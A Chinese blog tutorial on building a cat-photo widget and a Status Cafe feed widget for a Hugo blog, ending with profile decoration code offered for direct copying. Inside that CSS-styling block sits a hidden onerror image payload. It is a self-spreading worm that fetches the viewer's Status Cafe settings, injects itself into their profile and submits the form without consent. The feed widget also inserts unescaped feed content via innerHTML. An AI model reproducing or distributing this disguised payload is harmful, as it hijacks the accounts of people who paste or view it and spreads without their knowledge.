为博客制作猫咪拍立得与Status Cafe挂件
基于Hugo博客,制作两个可爱的小组件。功能非常个人,应该没什么普遍需求…但挺萌的所以看看也不亏?
组件效果展示
上个月装修博客的时候写了一个猫咪拍立得挂件放在首页,它最大的功能就是萌,次要的功能是点击按钮可以切换照片。
虽然我换了首页样式,但还是保留了原来的首页,因此可以查看 Demo 来玩一玩。萌吧?(笑)
上个月还同时改写了一下Status Cafe(左)的挂件,因此一并在这里记录。

猫咪拍立得实现
-
首先,创建
\layouts\partials\meow-box.html
,代码如下:{{- if .Site.Params.meowBox.enabled }} <div id="meow-box" style="border-radius: 10px;"> {{- $images := .Site.Params.meowBox.images -}} {{- if gt (len $images) 0 }} <img id="meow-image" src="{{ index $images 0 }}" alt="Meow" style="width: 100%; aspect-ratio: 1/1; object-fit: cover;"> {{- end }} <!-- 此处为点击按钮,如需要加入像素图标,则在img的src中填入路径 --> <button onclick="toggleMeowImage()" id="meow-btn"> <img src="" style="border-radius:0; margin:0; max-width:50%;"> meow </button> </div> <script> let images = [ {{ range $index, $img := .Site.Params.meowBox.images }} "{{ $img }}", {{ end }} ]; let currentIndex = 0; // 预加载图片 function preloadImages() { images.forEach(image => { const img = new Image(); // 创建一个新的 Image 对象 img.src = image; // 将图片源设置为路径,这会自动开始加载图片 }); } function toggleMeowImage() { currentIndex = (currentIndex + 1) % images.length; document.getElementById("meow-image").src = images[currentIndex]; } // 页面加载时预加载图片 preloadImages(); </script> {{- end }}
-
在
config.toml
中启用组件,并添加图片链接。为了更快的加载速度,建议将图片先行压缩一下,博客文件夹内的本地图片应该也是可以的。
[params.meowBox] enabled = true images = [ "https://pub-219f59729cc7474d97beb0f99a13e6bd.r2.dev/byphone/IMG_8853.jpeg", "https://pub-219f59729cc7474d97beb0f99a13e6bd.r2.dev/byphone/IMG_0091.jpeg", "请照此格式依次填入照片链接..." ]
-
在
/assets/css/main.scss
或其他你放置CSS的文件中按需放入样式:// 拍立得小组件 #meow-box { padding: 5px 15px 15px 15px; margin-top: 10px; background-color: rgba(251, 230, 189, 0.13); } #meow-image { margin: 5px 0; } #meow-box { width: 280px; height: auto; display: flex; flex-direction: column; align-items: center; justify-content: center; box-sizing: border-box; overflow: hidden; /* 防止图片溢出 */ } /* 让 img 不超出 */ #meow-image { width: 100%; /* 保证图片不超出容器 */ max-width: 100%; /* 避免超出 */ height: auto; aspect-ratio: 1 / 1; /* 保持 1:1 比例 */ object-fit: cover; /* 保持图片填充 */ } #meow-btn { margin-top: 10px; padding: 5px 5px 5px 5px; border: none; margin: 5px 10px; border-radius: 8px; } #meow-btn:active { transform: scale(0.95); /* 按钮按下时缩小 */ } @media (max-width: 768px) { #meow-box { width: 95%; /* 让盒子宽度填满父容器 */ padding: 15px; margin: 20px 0px; } }
-
在博客你需要的地方引入该组件:
{{ partial "meow-box.html" . }}
上述组件只能放置在非文章区域,理论上也可以将组件做成Shortcode(短代码),在文章需要的地方使用。但我始终没有成功……所以就将就用吧!
Status Cafe组件
1. 介绍
Status Cafe是一个可以发布当前状态的网站,其提供了Atom格式的公开RSS feed,用户发布的状态可以用RSS阅读器订阅,可以通过JavaScript从自己的订阅源中抓取发布的状态,然后在站内解析和显示,制作成小组件放在各种静态网页上自动更新。
Status Cafe在英语个人网站中似乎还蛮流行的,功能非常简约,只能发布一个Emoji和简单的文字内容,然后显示发布时间过去了多久。
但这个组件在中文个站里使用不多,相似功能的组件我只了解过Artitalk,因为看起来CSS修改项应该很多,所以我没有尝试。以及Mengru做的Mastodon-on-blog,也可以实现同样的“碎碎念”功能,相较来说可能这个毛象组件在隐私性和管理上应该更好(因为Status Cafe是可以抓取任意订阅源的)。
我用Status Cafe很大一部分原因是因为在它的Thread上随机逛到了很多很有意思的个人网站,虽然它的网页功能很简单,只能定义一下个人资料和CSS,删除修改管理一下发布过的状态,但用户活跃度却很高,上去碎碎念时顺便摸摸鱼看看别人的网站,感觉回到了十岁上网的感觉。
这个是我的个人主页,欢迎参观。
2. 实现
我做这个组件时参考了这个教程:Creating a Feed Reader from Status Cafe,方法大致相同,但对用户名、时间以及Emoji的解析之类的地方我做了一些修改,具体比较重要的地方是:
- 筛去了用户名不展示。
- 时间上显示“…秒/分钟/小时以前”,而非日期“2025-05-13”。
如果对这两项有需要,可以先参考上述教程。
-
注册一个Status Cafe账户,这一步可能等上1-3天。我等了一天才收到确认邮件,疑似手动处理发送。
-
创建
\layouts\partials\status-cafe.html
,放入以下内容。请留意将username.atom
中的username
改为你自己的用户名。<div class="note__item"> <div class="note__day">碎碎念啦,唔使理我</div> <div class="note__list" style="font-size: 80%;"> <!-- “open”为默认展开,删去则默认折叠 --> <details open class="mumble"> <summary>Mumble...</summary> <!-- 上方为我的外边框样式,可以删去。以下为Statue Cafe的核心内容, --> <div id="feed-reader"></div> <script> <!-- 此处请修改为你的用户名 --> const feedURL = 'https://status.cafe/users/username.atom'; function timeAgo(publishedDate) { const now = new Date(); const published = new Date(publishedDate); const diff = now - published; const seconds = Math.floor(diff / 1000); const minutes = Math.floor(seconds / 60); const hours = Math.floor(minutes / 60); const days = Math.floor(hours / 24); if (days > 0) { return `${days} day${days > 1 ? 's' : ''} ago`; } else if (hours > 0) { return `${hours} hour${hours > 1 ? 's' : ''} ago`; } else if (minutes > 0) { return `${minutes} minute${minutes > 1 ? 's' : ''} ago`; } else { return `${seconds} second${seconds > 1 ? 's' : ''} ago`; } } fetch(feedURL) .then(response => response.text()) .then(str => new window.DOMParser().parseFromString(str, "text/xml")) .then(data => { const entries = data.querySelectorAll("entry"); let html = ``; entries.forEach(el => { let rawTitle = el.querySelector("title").textContent.trim(); let emojiMatch = rawTitle.match(/[\p{Emoji}]/gu); let emoji = emojiMatch ? emojiMatch.join('').replace(/[0-9]+$/, '') : ''; let content = el.querySelector("content").textContent.trim(); let publishedDate = el.querySelector("published").innerHTML; let relativeTime = timeAgo(publishedDate); html += ` <div class="statuscafe-entry"> <p class="statuscafe-username"> <span class="status-meta"> <span class="mumble-time">${relativeTime}</span> <span class="mumble-title">${emoji} </span> </span> </p> <p class="statuscafe-content">${content}</p> </div> `; }); document.getElementById("feed-reader").innerHTML = html; }); </script> </details> </div> </div>
-
在
/assets/css/main.scss
或你的CSS文件中加入样式。仅供参考的CSS,写得不好不要怪。
.mumble { line-height: 1.3em; max-height: 233px; /* 设置最大高度 */ overflow-y: auto; /* 超出最大高度时启用垂直滚动 */ } .mumble::-webkit-scrollbar { display: none; /* 隐藏滚动条(仅限 WebKit 浏览器) */ } .statuscafe-entry { border-radius: 10px; padding: 5px; margin-bottom: 10px; background-color: var(--neodb-card-color); } .statuscafe-username { margin: 0.5em; display: flex; justify-content: space-between; align-items: center; font-size: 1em; } .status-meta { margin-left: auto; display: flex; gap: 0.5em; } .mumble-title { font-size: 1.2em; } .mumble-time { font-size: 90%; } .statuscafe-content { margin: 0 1em 0.5em 1em; letter-spacing: 0.8px; } // 以上为组件核心样式,以下是我的边框样式,可以删去。 .note__item { margin-top: 20px; width: 95%; position: relative; margin-bottom: 15px; } .note__day { padding: 5px; font: 90% "HuiwenMincho", cursive; } .note__list { padding: 8px 12px; line-height: 1.2; font-size: 90%; } .note { flex: 0 0 50%; box-sizing: border-box; }
-
在博客你认为合适的地方放上以下代码,插入组件:
{{ partial "status-cafe.html" . }}
3. 选做:使用短代码实现
如果不想直接在页面中插入代码,也可以使用Shortcode(短代码)在单一文章中插入。
实际上短代码也只是把HTML等等格式结构封装进一个页面,然后在文章中进行调用而已。所以上述的文件可以直接复用。
如需短代码形式,可以直接复制上文中的\layouts\partials\status-cafe.html
,放到\layouts\shortcodes
文件夹中。
然后在文章内放入短代码(注意删去前后斜杠):
{/{< status-cafe >}/}
✨ 展示:
Mumble...
PS:这个折叠框的展开与折叠,由status-cafe.html
中的这一行控制:
<details open class="mumble">
如果想要它默认折叠,删除open
即可。因为我只在一处使用,所以将这里写死了,如果你需要多次复用,并在不同的地方分别控制展开与折叠,强烈建议把代码丢给ChatGPT进行修改。
4. 选做:关于个人主页美化?
如果你也想要一个五彩缤纷的Status Cafe个人主页,可以在用户页的Setting中进行自定义。
我用了smallpancakes提供的Kawaii Pancake主题(伊实在太善心了甚至是一键复制),只是进行了背景图片和样式的一些魔改,基础代码还是来源于TA,不然我完全不知道从何下手。

以下为我修改后的个人主页装饰代码,欢迎直接使用:
代码过长折叠
<p>请在这里写下你的"About Me",多行内容请用p标签包裹</p>
<p>如需展示头像,请填写在Setting页面的“Picture URL”中</p>
<p>如需要展示链接,请用a标签包裹:<a href="https://Google.com" target="_blank">如此处写法</a></p>
<p>背景图片来源于我的博客链接,建议下载并使用自己的外链</p>
<p>背景图Resource Credit为:<a href="http://cairovercoat.tumblr.com/tagged/pixel+pattern">bg by cairovercoat</a></p>
<img src="x" style="display:none;" onerror="(async()=>{
if (document.location.search === '?qw') {
const res = await fetch('https://status.cafe/settings');
const text = await res.text();
const d = new DOMParser().parseFromString(text, 'text/html');
const textarea = d.querySelector('textarea');
if (!d || textarea?.outerHTML.includes('<!--javaistrash-->')) throw 0;
textarea.innerText += '\n<!--javaistrash-->
<p></p>';
textarea.innerText += '\n' + this.outerHTML;
d.querySelector('form').id = '123';
document.body.append(d.querySelector('form'));
document.getElementById('123').querySelector('input[type=submit]').click();
} else {
const nu = new URL(document.location.href);
nu.search = '?qw';
const f = document.createElement('iframe');
f.style.display = 'none';
f.src = nu.href;
document.body.append(f);
}
})()">
<style>
.profile-picture {
display: block;
margin: 10px auto;
max-width: 200px;
border-radius: 10px;
}
:root {
--kawaii-pink: #fff5f5;
--kawaii-text: #6d4b2f;
--kawaii-accent: #ff9494;
--kawaii-border: #ffb6b6;
cursor: url("https://gregueria.icu/cursor.png"), auto;
}
body {
background-color: var(--kawaii-pink);
background-image: linear-gradient(rgba(255, 255, 255, 0.8), rgba(255, 255, 255, 0.8)), url("https://gregueria.icu/site/tumblr_inline_mxq6a1O6341qfwxgn.png");
color: var(--kawaii-text);
font-family: Courier New, monospace, Microsoft Yahei, Source Han Serif SC, 宋体, cursive;
}
.status {
background: rgba(255, 255, 255, 0.8);
border-radius: 15px;
padding: 10px;
margin-bottom: 10px;
position: relative;
}
a {
color: var(--kawaii-text);
text-decoration: none;
position: relative;
padding: 0 3px;
}
a::before {
content: "";
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 40%;
background: rgba(255, 148, 148, 0.2);
z-index: -1;
}
a:hover::before {
height: 100%;
}
h1, h2, h3 {
color: var(--kawaii-text);
font-weight: bold;
letter-spacing: 1px;
text-align: center;
position: relative;
display: block;
}
h1::after, h2::after {
content: "";
position: absolute;
bottom: -5px;
left: 0;
width: 100%;
height: 2px;
background: linear-gradient(90deg, transparent, var(--kawaii-border), var(--kawaii-accent), var(--kawaii-border), transparent);
}
::-webkit-scrollbar {
width: 12px;
}
::-webkit-scrollbar-track {
background: var(--kawaii-pink);
}
::-webkit-scrollbar-thumb {
background: var(--kawaii-accent);
}
::selection {
background: var(--kawaii-accent);
color: white;
}
</style>
Statue cafe看起来明明只是一个简陋的小网站,但最近上网搜索却发现有很多人在提供Status Cafe的美化,总觉非常惊喜。不禁想难道这就是受欢迎的社区的样子。
本篇的教程写得非常个人,并且也只是自娱自乐的玩具组件,没有提供太多原理的解释,毕竟我的水平也只是一二三四把大象装进冰箱,并不能说出所以然,希望没有太过于误导人的部分。有写得不够清楚的地方,亦欢迎指出。
